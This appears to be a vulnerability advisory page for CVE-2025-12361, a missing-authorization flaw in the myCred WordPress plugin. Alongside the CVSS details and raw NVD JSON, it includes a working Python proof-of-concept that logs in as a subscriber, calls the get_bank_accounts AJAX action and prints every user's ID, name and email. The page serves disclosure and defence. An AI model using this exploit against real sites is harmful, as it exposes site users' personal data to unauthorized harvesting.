Security Vulnerability Report
中文
CVE-2025-12361 CVSS 4.3 MEDIUM

CVE-2025-12361

Published: 2025-12-19 10:15:47
Last Modified: 2026-04-15 00:35:42

Description

The myCred – Points Management System For Gamification, Ranks, Badges, and Loyalty Program plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 2.9.7.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve sensitive information including user IDs, display names, and email addresses of all users on the site via the get_bank_accounts AJAX action. Passwords are not exposed.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

myCred插件 <= 2.9.7.1(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-12361 PoC - myCred Missing Authorization # Target: WordPress site with myCred plugin <= 2.9.7.1 target_url = "http://target-wordpress-site.com" # The vulnerable AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Step 1: Authenticate with low-privilege account (subscriber level) session = requests.Session() # Login payload - replace with valid credentials login_data = { "log": "attacker_username", "pwd": "attacker_password", "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } # Login to WordPress login_response = session.post(f"{target_url}/wp-login.php", data=login_data) print(f"Login Status: {login_response.status_code}") # Step 2: Exploit the vulnerable get_bank_accounts AJAX action # This action lacks proper authorization checks poc_payload = { "action": "get_bank_accounts", "hook": "banking", "request": json.dumps({ "ref": "mycred_default", "ref_id": 0, "user_id": 0, "data": {} }) } # Send exploit request exploit_response = session.post(ajax_url, data=poc_payload) print(f"Exploit Status: {exploit_response.status_code}") print(f"Response: {exploit_response.text}") # Step 3: Parse leaked user information try: data = exploit_response.json() if "data" in data: print("\n[!] Successfully leaked user information:") for user in data["data"]: print(f" User ID: {user.get('id')}, " f"Name: {user.get('display_name')}, " f"Email: {user.get('user_email')}") except: print("[-] No valid JSON response or no data leaked")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12361", "sourceIdentifier": "[email protected]", "published": "2025-12-19T10:15:47.390", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The myCred – Points Management System For Gamification, Ranks, Badges, and Loyalty Program plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 2.9.7.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve sensitive information including user IDs, display names, and email addresses of all users on the site via the get_bank_accounts AJAX action. Passwords are not exposed."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/mycred/tags/2.9.5.1/addons/banking/services/mycred-service-central.php#L172", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3421768/mycred/trunk?contextall=1&old=3417299&old_path=%2Fmycred%2Ftrunk", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/43b05697-bc36-4f32-86b4-2feef892fe42?source=cve", "source": "[email protected]"}]}}